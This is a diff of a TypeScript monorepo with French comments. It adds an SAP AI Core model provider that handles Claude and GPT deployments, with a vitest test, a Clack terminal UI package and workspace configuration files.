export const DEFAULT_RESOURCE_GROUP = "default";
/** Famille de modèle : détermine l'API à appeler sur le déploiement. */
export type ModelType = "claude" | "openai" | "other";
export interface Deployment {
id: string;
name: string;
version: string | null;
deploymentUrl: string;
type: ModelType;
}
/**
* Hypothèse (la fonction n'était pas dans les samples) :
* - anthropic--* / claude → Claude (AWS Bedrock, API Converse)
* - gpt*, o1/o3/o4… → OpenAI (Azure OpenAI, chat/completions)
* - le reste (gemini, embeddings, mistral…) → non pris en charge pour l'instant
*/
export function detectModelType(name: string): ModelType {
const n = name.toLowerCase();
if (n.startsWith("anthropic--") || n.includes("claude")) return "claude";
if (/^(gpt|chatgpt|o\d)/.test(n)) return "openai";
return "other";
}
/**
* Liste les modèles/déploiements disponibles.
*
* GET {AI_API_URL}/v2/lm/deployments
* Headers: Authorization: Bearer {token}, AI-Resource-Group
*/
export async function listDeployments(config: BtpAiConfig, token: string): Promise<Deployment[]> {
const url = `${config.serviceurls.AI_API_URL.replace(/\/+$/, "")}/v2/lm/deployments`;
const response = await fetch(url, {
method: "GET",
headers: {
Authorization: `Bearer ${token}`,
"AI-Resource-Group": config.resourceGroup ?? DEFAULT_RESOURCE_GROUP,
},
});
if (!response.ok) {
const body = await safeReadText(response);
throw new Error(
`Échec de récupération de la liste des modèles (HTTP ${response.status} ${response.statusText}). ${body}`,
);
}
const data = (await response.json()) as { resources?: RawDeployment[] };
const resources = Array.isArray(data.resources) ? data.resources : [];
const deployments = resources
.filter((r) => r.deploymentUrl)
.map((r): Deployment => {
const model = extractModelInfo(r);
const name = model?.name ?? r.configurationName ?? r.id ?? "(nom inconnu)";
return {
id: r.id ?? r.deploymentUrl!,
name,
version: model?.version ?? null,
deploymentUrl: r.deploymentUrl!,
type: detectModelType(name),
};
});
if (deployments.length === 0) {
throw new Error(
"Aucun modèle déployé (avec deploymentUrl) n'a été trouvé pour ce service/resource group.",
);
}
return deployments;
}
/**
* Choisit le déploiement : nom/id exact, sinon nom partiel. Vide ou "auto" → premier
* déploiement de chat pris en charge.
*/
export function findDeployment(deployments: Deployment[], wanted: string): Deployment {
const w = wanted.trim().toLowerCase();
const usable = deployments.filter((d) => d.type !== "other");
if (!w || w === "auto") {
const first = usable[0];
if (!first) {
throw new Error("Aucun déploiement de chat pris en charge (Claude ou GPT) n'a été trouvé.");
}
return first;
}
const found =
usable.find((d) => d.name.toLowerCase() === w || d.id.toLowerCase() === w) ??
usable.find((d) => d.name.toLowerCase().includes(w));
if (!found) {
throw new Error(
`Modèle "${wanted}" introuvable. Disponibles : ${usable.map((d) => d.name).join(", ") || "(aucun)"}`,
);
}
return found;
}
interface RawModel {
name?: string;
version?: string | null;
}
interface RawDeployment {
id?: string;
deploymentUrl?: string;
configurationName?: string;
details?: { resources?: { backend_details?: { model?: RawModel }; backendDetails?: { model?: RawModel } } };
backend_details?: { model?: RawModel };
backendDetails?: { model?: RawModel };
}
/** Chemin confirmé "details.resources.backend_details.model", avec variantes de repli. */
function extractModelInfo(r: RawDeployment): { name: string; version: string | null } | null {
const candidates = [
r.details?.resources?.backend_details?.model,
r.details?.resources?.backendDetails?.model,
r.backend_details?.model,
r.backendDetails?.model,
];
const found = candidates.find((c) => c?.name);
return found?.name ? { name: found.name, version: found.version ?? null } : null;
}

View file

@ -0,0 +1,44 @@
export class HttpError extends Error {
constructor(
public readonly status: number,
message: string,
) {
super(message);
}
}
export async function safeReadText(response: Response): Promise<string> {
try {
return await response.text();
} catch {
return "";
}
}
/** POST JSON avec token Bearer et resource group AI Core. */
export async function postJson(
url: string,
token: string,
resourceGroup: string,
body: unknown,
signal?: AbortSignal,
): Promise<unknown> {
const response = await fetch(url, {
method: "POST",
headers: {
Authorization: `Bearer ${token}`,
"AI-Resource-Group": resourceGroup,
"Content-Type": "application/json",
},
body: JSON.stringify(body),
signal,
});
if (!response.ok) {
const text = await safeReadText(response);
throw new HttpError(
response.status,
`Échec de l'appel au modèle (HTTP ${response.status} ${response.statusText}). ${text}`,
);
}
return response.json();
}

View file

@ -0,0 +1,106 @@
import type { ChatRequest, LLMProvider, StreamEvent } from "@magiccode/core";
import { createTokenProvider, type TokenProvider } from "./auth";
import { buildConverseBody, parseConverseResponse } from "./claude";
import { DEFAULT_CONFIG_PATH, loadConfig, type BtpAiConfig } from "./config";
import {
DEFAULT_RESOURCE_GROUP,
findDeployment,
listDeployments,
type Deployment,
} from "./deployments";
import { HttpError, postJson } from "./http";
import { OPENAI_API_VERSION, buildChatBody, parseChatResponse } from "./openai";
export interface SapAiCoreOptions {
/** Chemin du JSON de config (défaut : $MAGICCODE_BTP_CONFIG ou ./btp_AI.json). */
configPath?: string;
/** Dossier de lancement de MagicCode : base des chemins relatifs (défaut : process.cwd()). */
baseDir?: string;
}
function defaultConfigPath(opts?: SapAiCoreOptions): string {
return opts?.configPath ?? process.env.MAGICCODE_BTP_CONFIG ?? DEFAULT_CONFIG_PATH;
}
interface Resolved {
config: BtpAiConfig;
tokens: TokenProvider;
deployment: Deployment;
}
/**
* Provider SAP AI Core / Generative AI Hub.
* `modelName` : nom du modèle déployé (ex. "anthropic--claude-4.5-sonnet"), ou "" / "auto"
* pour prendre le premier déploiement de chat pris en charge.
* La connexion (config, token, déploiements) est faite à la première requête.
*/
export function createSapAiCoreProvider(modelName: string, opts?: SapAiCoreOptions): LLMProvider {
const configPath = defaultConfigPath(opts);
let ready: Promise<Resolved> | undefined;
let resolvedName: string | undefined;
const resolve = (): Promise<Resolved> => {
if (!ready) {
const attempt = (async (): Promise<Resolved> => {
const config = await loadConfig(configPath, opts?.baseDir);
const tokens = createTokenProvider(config);
const deployments = await listDeployments(config, await tokens.get());
const deployment = findDeployment(deployments, modelName);
resolvedName = deployment.name;
return { config, tokens, deployment };
})();
attempt.catch(() => {
ready = undefined; // permet de réessayer après une erreur
});
ready = attempt;
}
return ready;
};
const send = async (ctx: Resolved, req: ChatRequest, signal?: AbortSignal): Promise<StreamEvent[]> => {
const token = await ctx.tokens.get();
const group = ctx.config.resourceGroup ?? DEFAULT_RESOURCE_GROUP;
const base = ctx.deployment.deploymentUrl.replace(/\/+$/, "");
if (ctx.deployment.type === "claude") {
const json = await postJson(`${base}/converse`, token, group, buildConverseBody(req), signal);
return parseConverseResponse(json);
}
const url = `${base}/chat/completions?api-version=${OPENAI_API_VERSION}`;
const json = await postJson(url, token, group, buildChatBody(req), signal);
return parseChatResponse(json);
};
return {
id: "sapaicore",
get model(): string {
return resolvedName ?? (modelName || "auto");
},
capabilities: { tools: true },
async *chat(req, signal) {
const ctx = await resolve();
let events: StreamEvent[];
try {
events = await send(ctx, req, signal);
} catch (err) {
if (err instanceof HttpError && err.status === 401) {
ctx.tokens.invalidate(); // token expiré : un seul nouvel essai
events = await send(ctx, req, signal);
} else {
throw err;
}
}
// TODO : streaming (converse-stream = flux binaire AWS event-stream ; chat/completions = SSE).
for (const ev of events) yield ev;
},
};
}
/** Déploiements disponibles sur le service (pour le sélecteur de modèle). */
export async function listSapDeployments(opts?: SapAiCoreOptions): Promise<Deployment[]> {
const config = await loadConfig(defaultConfigPath(opts), opts?.baseDir);
const tokens = createTokenProvider(config);
return listDeployments(config, await tokens.get());
}
export type { Deployment } from "./deployments";

View file

@ -0,0 +1,80 @@
import type { ChatRequest, StopReason, StreamEvent } from "@magiccode/core";
// GPT sur AI Core = déploiement Azure OpenAI : POST {deploymentUrl}/chat/completions?api-version=…
// À ajuster selon la version d'API acceptée par votre service.
export const OPENAI_API_VERSION = "2024-10-21";
export function buildChatBody(req: ChatRequest): Record<string, unknown> {
const messages: Record<string, unknown>[] = [{ role: "system", content: req.system }];
for (const m of req.messages) {
if (m.role === "assistant") {
const text = m.content.flatMap((b) => (b.type === "text" ? [b.text] : [])).join("");
const toolCalls = m.content.flatMap((b) =>
b.type === "tool_use"
? [{ id: b.id, type: "function", function: { name: b.name, arguments: JSON.stringify(b.input) } }]
: [],
);
messages.push({
role: "assistant",
content: text || null,
...(toolCalls.length > 0 ? { tool_calls: toolCalls } : {}),
});
} else {
for (const b of m.content) {
if (b.type === "tool_result") {
messages.push({ role: "tool", tool_call_id: b.toolUseId, content: b.content });
} else if (b.type === "text") {
messages.push({ role: "user", content: b.text });
}
}
}
}
const body: Record<string, unknown> = { messages };
if (req.tools.length > 0) {
body.tools = req.tools.map((t) => ({
type: "function",
function: { name: t.name, description: t.description, parameters: t.inputSchema },
}));
}
return body;
}
interface ChatResponse {
choices?: {
finish_reason?: string;
message?: {
content?: string | null;
tool_calls?: { id: string; function: { name: string; arguments: string } }[];
};
}[];
}
export function parseChatResponse(json: unknown): StreamEvent[] {
const choice = (json as ChatResponse).choices?.[0];
const events: StreamEvent[] = [];
const msg = choice?.message;
if (msg?.content) events.push({ type: "text_delta", text: msg.content });
for (const call of msg?.tool_calls ?? []) {
let input: Record<string, unknown> = {};
try {
input = JSON.parse(call.function.arguments || "{}") as Record<string, unknown>;
} catch {
// arguments invalides : l'outil recevra un objet vide et renverra une erreur explicite
}
events.push({ type: "tool_use", id: call.id, name: call.function.name, input });
}
const stop: StopReason =
choice?.finish_reason === "tool_calls"
? "tool_use"
: choice?.finish_reason === "stop"
? "end_turn"
: choice?.finish_reason === "length"
? "max_tokens"
: "other";
events.push({ type: "done", stopReason: stop });
return events;
}

View file

@ -0,0 +1,78 @@
import { mkdtemp, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type { StreamEvent } from "@magiccode/core";
import { afterEach, describe, expect, it, vi } from "vitest";
import { createSapAiCoreProvider } from "./index";
const json = (body: unknown) =>
new Response(JSON.stringify(body), { status: 200, headers: { "Content-Type": "application/json" } });
afterEach(() => vi.unstubAllGlobals());
describe("provider sapaicore", () => {
it("s'authentifie, résout le déploiement Claude et appelle /converse", async () => {
const dir = await mkdtemp(join(tmpdir(), "magiccode-"));
const cfg = join(dir, "btp_AI.json");
await writeFile(
cfg,
JSON.stringify({
url: "https://auth.example",
basic: "abc",
serviceurls: { AI_API_URL: "https://api.example" },
}),
);
vi.stubGlobal(
"fetch",
vi.fn(async (input: URL | string) => {
const url = String(input);
if (url.includes("/oauth/token")) return json({ access_token: "tok", expires_in: 3600 });
if (url.endsWith("/v2/lm/deployments")) {
return json({
resources: [
{
id: "d1",
deploymentUrl: "https://api.example/v2/inference/deployments/d1",
details: {
resources: {
backend_details: { model: { name: "anthropic--claude-4.5-sonnet", version: "1" } },
},
},
},
],
});
}
if (url.endsWith("/d1/converse")) {
return json({
output: {
message: {
content: [{ text: "salut" }, { toolUse: { toolUseId: "t1", name: "Read", input: { path: "a" } } }],
},
},
stopReason: "tool_use",
});
}
throw new Error(`URL inattendue : ${url}`);
}),
);
// chemin relatif + dossier de lancement : indépendant du process.cwd() réel
const provider = createSapAiCoreProvider("", { configPath: "btp_AI.json", baseDir: dir });
const events: StreamEvent[] = [];
for await (const ev of provider.chat({
system: "s",
messages: [{ role: "user", content: [{ type: "text", text: "hi" }] }],
tools: [],
})) {
events.push(ev);
}
expect(events).toEqual([
{ type: "text_delta", text: "salut" },
{ type: "tool_use", id: "t1", name: "Read", input: { path: "a" } },
{ type: "done", stopReason: "tool_use" },
]);
expect(provider.model).toBe("anthropic--claude-4.5-sonnet");
});
});

View file

@ -0,0 +1,4 @@
{
"extends": "../../tsconfig.base.json",
"include": ["src"]
}

12
packages/ui/package.json Normal file
View file

@ -0,0 +1,12 @@
{
"name": "@magiccode/ui",
"version": "0.1.0",
"type": "module",
"main": "src/index.ts",
"types": "src/index.ts",
"scripts": { "typecheck": "tsc -p ." },
"dependencies": {
"@clack/prompts": "^0.9.0",
"@magiccode/core": "workspace:*"
}
}

100
packages/ui/src/clack-ui.ts Normal file
View file

@ -0,0 +1,100 @@
import * as p from "@clack/prompts";
import type { AgentUI } from "@magiccode/core";
export interface Choice<T> {
value: T;
label: string;
hint?: string;
}
const PREVIEW_MAX = 600;
export class ClackUI implements AgentUI {
private spin = p.spinner();
private spinning = false;
// ----- cycle de vie -----
intro(title: string): void {
p.intro(title);
}
outro(message: string): void {
p.outro(message);
}
info(message: string): void {
p.log.info(message);
}
warn(message: string): void {
p.log.warn(message);
}
error(message: string): void {
p.log.error(message);
}
/** Affiche un spinner pendant une opération asynchrone (chargement des modèles, etc.). */
async withSpinner<T>(message: string, fn: () => Promise<T>, done = "Terminé"): Promise<T> {
const s = p.spinner();
s.start(message);
try {
const result = await fn();
s.stop(done);
return result;
} catch (err) {
s.stop("Échec", 1);
throw err;
}
}
// ----- saisies -----
/** Retourne null si l'utilisateur annule (Ctrl+C). */
async select<T>(message: string, choices: Choice<T>[], initialValue?: T): Promise<T | null> {
const result = await p.select({
message,
options: choices.map((c) => ({ value: c.value, label: c.label, hint: c.hint })) as never,
initialValue: initialValue as never,
});
return p.isCancel(result) ? null : (result as T);
}
async readInput(): Promise<string | null> {
const result = await p.text({
message: "Vous",
placeholder: "Votre demande (/help pour l'aide)",
});
return p.isCancel(result) ? null : String(result).trim();
}
async confirm(message: string): Promise<boolean> {
const result = await p.confirm({ message });
return !p.isCancel(result) && result === true;
}
// ----- AgentUI : affichage du déroulé de l'agent -----
onThinking(active: boolean): void {
if (active && !this.spinning) {
this.spin.start("Réflexion…");
this.spinning = true;
} else if (!active && this.spinning) {
this.spin.stop("");
this.spinning = false;
}
}
onText(text: string): void {
process.stdout.write(text);
}
onTextEnd(): void {
process.stdout.write("\n");
}
onToolCall(name: string, summary: string): void {
p.log.step(`${name} ${summary}`);
}
onToolResult(_name: string, output: string, isError: boolean): void {
const preview =
output.length > PREVIEW_MAX ? `${output.slice(0, PREVIEW_MAX)}\n… (tronqué)` : output;
if (isError) p.log.error(preview);
else if (preview) p.log.message(preview);
}
}

1
packages/ui/src/index.ts Normal file
View file

@ -0,0 +1 @@
export * from "./clack-ui";

View file

@ -0,0 +1,4 @@
{
"extends": "../../tsconfig.base.json",
"include": ["src"]
}

2164
pnpm-lock.yaml Normal file

File diff suppressed because it is too large Load diff

2
pnpm-workspace.yaml Normal file
View file

@ -0,0 +1,2 @@
packages:
- "packages/*"

14
tsconfig.base.json Normal file
View file

@ -0,0 +1,14 @@
{
"compilerOptions": {
"target": "ES2022",
"module": "ESNext",
"moduleResolution": "Bundler",
"strict": true,
"noUncheckedIndexedAccess": true,
"esModuleInterop": true,
"skipLibCheck": true,
"resolveJsonModule": true,
"noEmit": true,
"types": ["node"]
}
}